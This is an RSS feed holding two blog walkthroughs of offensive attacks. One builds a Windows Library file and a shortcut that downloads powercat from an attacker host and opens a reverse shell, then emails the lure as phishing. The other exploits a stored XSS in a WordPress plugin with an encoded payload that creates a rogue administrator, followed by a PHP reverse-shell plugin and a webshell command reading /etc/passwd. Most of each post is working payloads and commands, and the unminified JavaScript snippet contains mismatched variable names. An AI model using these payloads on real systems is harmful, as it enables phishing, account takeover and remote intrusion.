<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mawee on Medium]]></title>
        <description><![CDATA[Stories by Mawee on Medium]]></description>
        <link>https://medium.com/@mhwee?source=rss-33944b8a3cd7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HGGtEwWKfYus99-KqpjUbQ.jpeg</url>
            <title>Stories by Mawee on Medium</title>
            <link>https://medium.com/@mhwee?source=rss-33944b8a3cd7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 05:05:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mhwee/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unmasking Windows Library Files: A Deep Dive into Client-Side Exploitation]]></title>
            <link>https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262?source=rss-33944b8a3cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bf3371a5262</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Mawee]]></dc:creator>
            <pubDate>Mon, 25 Sep 2023 20:00:05 GMT</pubDate>
            <atom:updated>2023-09-25T20:00:05.609Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Reader!</p><p>This time we are getting our hands dirty with some client-side Windows exploitation. We will leverage Windows Library Files to obtain remote code execution.</p><p>Lets start with a small introduction to Windows Library Files and how we will use these to execute commands on a remote machine.</p><p>Windows Library Files are interesting as they are virtual containers that can be used to connect windows users to data stored in remote locations like webservices or shares. These files have a .Library-ms file extension, and can be executed with a simple double-click in Windows Explorer.</p><p>Our attack plan involves two main steps. In the first step, we will set up a WebDAV share on our attacker machine. Afterward, we’ll create a .Library-ms file that’s configured to connect to this remote WebDAV share. We’ll send this file to the victim via a deceptive email.</p><p>When the victim opens our file, it triggers the second stage of the attack. This stage connects the victim’s computer to our WebDAV share, providing them with a reverse shell payload in the form of an .lnk file. When the victim clicks on this .lnk file, it establishes a connection to a listening service on our attacker machine.</p><p>Let’s jump straight into it.</p><p>We’ll configure a WebDAV share on the attacker’s machine to host our files, and we’ll use WsgiDav to do this.</p><blockquote>&gt; pip3 install wsgidav</blockquote><p>Once it’s installed, we’ll proceed by creating a new directory to serve as the WebDAV share. Within that directory, we’ll create a test file. To confirm that everything is working correctly, we’ll run the server on port 80 and check its status.</p><blockquote>&gt; mkdir webdav<br>&gt; cd webdav<br>&gt; touch test.txt<br>&gt; .local/bin/wsgidav — host=0.0.0.0 — port=80 — auth=anonymous — root /home/kali/webdav</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gIj1NA6Z-puZ44c8Cro00g.png" /></figure><p>The output shows that the server is running on port 80. We can confirm this by visiting <a href="http://127.0.0.1/">http://127.0.0.1</a> in our browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wq8UqRB-C85s8p222K8cYA.png" /><figcaption>Figure 2 The share hosts our test.txt file and can be accessed over http</figcaption></figure><p>Moving forward, we’ll need to use a Windows machine for creating the .Library-ms and .lnk files.</p><p>Windows Library files are composed in XML format and comprise three primary sections: general library information, library properties, and library location. To create the required file, “configuration.Library-ms,” we’ll utilize Visual Studio Code and include the following content.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;libraryDescription xmlns=&quot;http://schemas.microsoft.com/windows/2009/library&quot;&gt;<br>&lt;name&gt;@windows.storage.dll,-34582&lt;/name&gt;<br>&lt;version&gt;6&lt;/version&gt;<br>&lt;isLibraryPinned&gt;true&lt;/isLibraryPinned&gt;<br>&lt;iconReference&gt;imageres.dll,-1003&lt;/iconReference&gt;<br>&lt;templateInfo&gt;<br>&lt;folderType&gt;{7d49d726-3c21-4f05-99aa-fdc2c9474656}&lt;/folderType&gt;<br>&lt;/templateInfo&gt;<br>&lt;searchConnectorDescriptionList&gt;<br>&lt;searchConnectorDescription&gt;<br>&lt;isDefaultSaveLocation&gt;true&lt;/isDefaultSaveLocation&gt;<br>&lt;isSupported&gt;false&lt;/isSupported&gt;<br>&lt;simpleLocation&gt;<br>&lt;url&gt;http://attacker-ip&lt;/url&gt;<br>&lt;/simpleLocation&gt;<br>&lt;/searchConnectorDescription&gt;<br>&lt;/searchConnectorDescriptionList&gt;<br>&lt;/libraryDescription&gt;</pre><p>Here’s a brief summary of some key tags:</p><p>&lt;iconReference&gt;: This tag defines which icon is used to represent the file. In our case, it&#39;s crucial because we want our file to appear harmless on the victim&#39;s desktop. The use of the index -1003 references the “Picture” folder icon.</p><p>&lt;folderType&gt;: This tag determines the columns and details that Windows Explorer displays by default when opening the library. We&#39;ll use the “Documents” GUID to make it look as convincing as possible to the victim.</p><p>&lt;url&gt;: Arguably the most critical tag, as it specifies the remote location of the WebDAV share. This is the tag that connects the file to the attacker-controlled server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/137/1*1NNsLtuMiGW5ngor3lq0Zg.png" /><figcaption>Image of configuration.Library-ms file on our Windows machine</figcaption></figure><p>Moving on, we will generate a shortcut (.lnk) file that will include our PowerShell payload. This payload is designed to establish a connection back to the Netcat (nc) listener running on the attacker’s machine.</p><p>To create this shortcut, we will:</p><ol><li>Right-click on the Windows desktop.</li><li>Select the option to create a new shortcut file.</li><li>We will configure this shortcut to execute PowerShell with a specific command. This command will download “powercat” from the attacker’s machine and utilize it to initiate a reverse shell.</li></ol><pre>powershell.exe -c &quot;IEX(New-Object System.Net.WebClient).DownloadString(&#39;http://attacker-ip:8000/powercat.ps1&#39;); powercat -c &lt;attacker-ip&gt; -p 4444 -e powershell&quot;</pre><p>Let’s proceed by naming the shortcut “auto_config” and creating it.</p><p>Now, as we near the completion of our process, the final step is to deliver our payload. We will achieve this by copying both the “auto_config” shortcut file and the “configuration.Library-ms” file into the WebDAV share, making them accessible on our Kali virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*ltbqfSENfVcViLUw3sjQdQ.png" /></figure><p>Once the files are accessible from Kali VM, we will move the configuration.Library-ms file from the WebDAV share to a different directory and we will send this file to the victim via email using the awesome Swiss Army Knife SMTP (swaks) tool.</p><pre>sudo swaks -t bob@victim-corp.com --from test@victim-corp.com -ap --attach configuration.Library-ms --server &lt;victim-ip&gt; --body body.txt --header &quot;Subject: Urgent Configuration Setup&quot; --suppress-data</pre><p>Lets confirm we have all the needed servers running on kali.</p><p>A http server running on port 8000 in the <a href="https://github.com/besimorhino/powercat">powercat</a> dir</p><blockquote>&gt; python3 -m http.server 8000</blockquote><p>WsgiDAV running on port 80 hosting the WebDAV share</p><blockquote>&gt; ~/.local/bin/wsgidav — host=0.0.0.0 — port=80 — auth=anonymous — root /home/kali/webdav</blockquote><p>A nc listener waiting for any incoming connections on port 4444</p><blockquote>&gt; nc -nvlp 4444</blockquote><p>Following the email transmission, we’ll patiently wait for the victim to open the “configuration” file and click on the “auto_config” file located on our remote share. If our pretext has effectively persuaded the user, we will establish a reverse shell connection as a result of this action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*CTSnrtGILjgohOVSTLJAlw.png" /></figure><p>Et voila!</p><p>That’s the conclusion of our walkthrough. It was a fun adventure. I’m here to assist whenever you’re ready for another exploration. Until next time, stay curious and safe!</p><h3>References</h3><p><a href="https://wsgidav.readthedocs.io/en/latest/index.html">https://wsgidav.readthedocs.io/en/latest/index.html</a><br><a href="https://code.visualstudio.com/">https://code.visualstudio.com/</a><br><a href="https://learn.microsoft.com/en-us/windows/win32/shell/library-schema-entry">https://learn.microsoft.com/en-us/windows/win32/shell/library-schema-entry</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bf3371a5262" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS: A Gateway to Command and Control]]></title>
            <link>https://medium.com/@mhwee/exploiting-an-xss-to-gain-system-access-6049a79a2a2b?source=rss-33944b8a3cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/6049a79a2a2b</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Mawee]]></dc:creator>
            <pubDate>Tue, 29 Aug 2023 18:23:52 GMT</pubDate>
            <atom:updated>2023-09-14T10:30:20.654Z</atom:updated>
            <content:encoded><![CDATA[<p>This post delves into the art of exploiting a Cross-Site Scripting (XSS) <a href="https://www.exploit-db.com/exploits/49972">vulnerability</a> within a WordPress plugin known as “visitors.” The ultimate goal? To create an admin-level account and utilize it to gain system access.</p><p>The “visitors” plugin serves as a data logger for website visitors, capturing details like IP addresses, user agents, sources, and timestamps. To start our XSS exploit journey, we decided to inspect the <a href="https://downloads.wordpress.org/plugin/visitors-app.0.3.zip">source code</a> of this plugin to pinpoint the vulnerability.</p><p>Our investigation led us to the <em>“visitors-app/includes/database.php” </em>file, where we discovered the critical function “VST_create_table_records().” This function parsed various HTTP headers of visitors and stored their records in the WordPress database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*lJV3TAJ-fJrrt8m21m1Sxw.png" /></figure><p>However, the data retrieved wasn’t properly sanitized before being presented in the browser. This vulnerability became evident in the “<em>/visitors-app/admin/start.php</em>” file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*82rrbUp7ykeOiaNASTzuUw.png" /></figure><p>After examining the code, we aimed to modify the “User-Agent” header with our XSS payload. We initiated this by sending a simple curl request with our crafted payload in the header field:</p><pre>curl http://vulnerable-website.com/ --header &quot;User-Agent: &lt;script&gt;alert(62)&lt;/script&gt;&quot;</pre><p>Upon successful execution, whenever the website admin accessed the visitors plugin, they were met with our alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-y0HBTNm1PMauVX44ZeXQ.png" /></figure><p>Next lets try a cool trick as shared by <a href="https://shift8web.ca/2018/01/craft-xss-payload-create-admin-user-in-wordpress-user/">shift8</a> to create an Admin account on the vulnerable app. Using this technique, our stored XSS payload will get executed by a legitimate admin user, and it will grab their nonce value and create our Administrator account.</p><pre>var ajaxRequest = new XMLHttpRequest();<br>var requestURL = &quot;/wp-admin/user-new.php&quot;;<br>var wp_nonceRegex = /ser&quot; value=&quot;([^&quot;]*?)&quot;/g;<br>wajaxRequest.open(&quot;GET&quot;, requestURL, false);<br>ajaxRequest.send();<br>var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);<br>var nonce = nonceMatch[1];</pre><p>The above function makes a GET request to the <em>/wp-admin/user-new.php</em>. It then uses the <em>wp_nonceRegex</em> to match any alphanumeric value between the string <em>/ser” value=”</em> and double quotes. The nonce value is stored in the variable <em>nonce.</em></p><p>Now we will write the main function that will take the nonce value and use it to create an Admin account.</p><pre>var params = &quot;action=createuser&amp;_wpnonce_create-user=&quot;+nonce+&quot;&amp;user_login=maliciousadmin&amp;email=maliciousadmin@website.com&amp;pass1=attackerpass&amp;pass2=attackerpass&amp;role=administrator&quot;;<br>ajaxRequest = new XMLHttpRequest();<br>ajaxRequest.open(&quot;POST&quot;, requestURL, true);<br>ajaxRequest.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br>ajaxRequest.send(params);</pre><p>To deliver our payload safely, we need to minify and encode it. For the minification we can use this handy tool called <a href="https://jscompress.com/">JScompress</a>, and we can run the below function in an online <a href="https://onecompiler.com/javascript">compiler</a> to encode it.</p><pre>function encode_to_javascript(string) {<br>            var input = string<br>            var output = &#39;&#39;;<br>            for(pos = 0; pos &lt; input.length; pos++) {<br>                output += input.charCodeAt(pos);<br>                if(pos != (input.length - 1)) {<br>                    output += &quot;,&quot;;<br>                }<br>            }<br>            return output;<br>        }<br>        <br>let encoded = encode_to_javascript(&#39;var ajaxRequest=new XMLHttpRequest,requestURL=&quot;/wp-admin/user-new.php&quot;,nonceRegex=/ser&quot; value=&quot;([^&quot;]*?)&quot;/g;ajaxRequest.open(&quot;GET&quot;,requestURL,!1),ajaxRequest.send();var nonceMatch=nonceRegex.exec(ajaxRequest.responseText),nonce=nonceMatch[1],params=&quot;action=createuser&amp;_wpnonce_create-user=&quot;+nonce+&quot;&amp;user_login=maliciousadmin&amp;email=maliciousadmin@website.com&amp;pass1=attackerpass&amp;pass2=attackerpass&amp;role=administrator&quot;;(ajaxRequest=new XMLHttpRequest).open(&quot;POST&quot;,requestURL,!0),ajaxRequest.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;),ajaxRequest.send(params);&#39;)<br>console.log(encoded)</pre><p>Our minified and encoded payload should look something like this:</p><pre>118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,109,97,108,105,99,105,111,117,115,97,100,109,105,110,38,101,109,97,105,108,61,109,97,108,105,99,105,111,117,115,97,100,109,105,110,64,119,101,98,115,105,116,101,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,112,97,115,115,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,112,97,115,115,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59</pre><p>As the next step, we can send in our payload in a GET request via curl. Make sure to add in the &lt;script&gt; tags and add the payload to the eval() method to execute it.</p><pre>curl -i http://vulnerable-site.com/ --user-agent &quot;&lt;script&gt;eval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,109,97,108,105,99,105,111,117,115,97,100,109,105,110,38,101,109,97,105,108,61,109,97,108,105,99,105,111,117,115,97,100,109,105,110,64,119,101,98,115,105,116,101,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,112,97,115,115,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,112,97,115,115,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))&lt;/script&gt;&quot;</pre><p>And finally on our vulnerable website, we see that a visitor request was logged with an empty “Browser” &amp; “IP” field. If we navigate to the users tab we can see an attacker Administrator account was created. Simply amazing!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GNWTDHPzgaJnVYrkHhaKbA.png" /></figure><p>With this admin account we can gain system access by uploading a reverse shell.</p><p>Lets create a revshell.php file with the following reverse shell from <a href="https://sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell">sevenlayers</a>.</p><pre>&lt;?php<br><br>/**<br>* Plugin Name: Reverse Shell Plugin<br>* Plugin URI:<br>* Description: Reverse Shell Plugin<br>* Version: 1.0<br>* Author: Vince Matteo<br>* Author URI: http://www.sevenlayers.com<br>*/<br><br>exec(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1&#39;&quot;);<br>?&gt;</pre><p>Zip up the file and upload it on the vulnerable app via the admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w4A-7BP28Hf1snzu0OBi4A.png" /></figure><p>Lets start a netcat listener on our shell, install the plugin and activate it on the app.</p><p>As the plugin is activated, our nc listener catches the reverse shell call, and we are in the system. Brilliant.</p><p>We could also use the same steps to upload a webshell and trigger it using a GET request on the following path.</p><pre>curl http://vulnerable-site.com/wp-content/plugins/webshel/webshell.php?cmd=cat%20/etc/passwd</pre><p>And that’s all folks, hope you enjoyed and learned a thing or two from this writeup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6049a79a2a2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>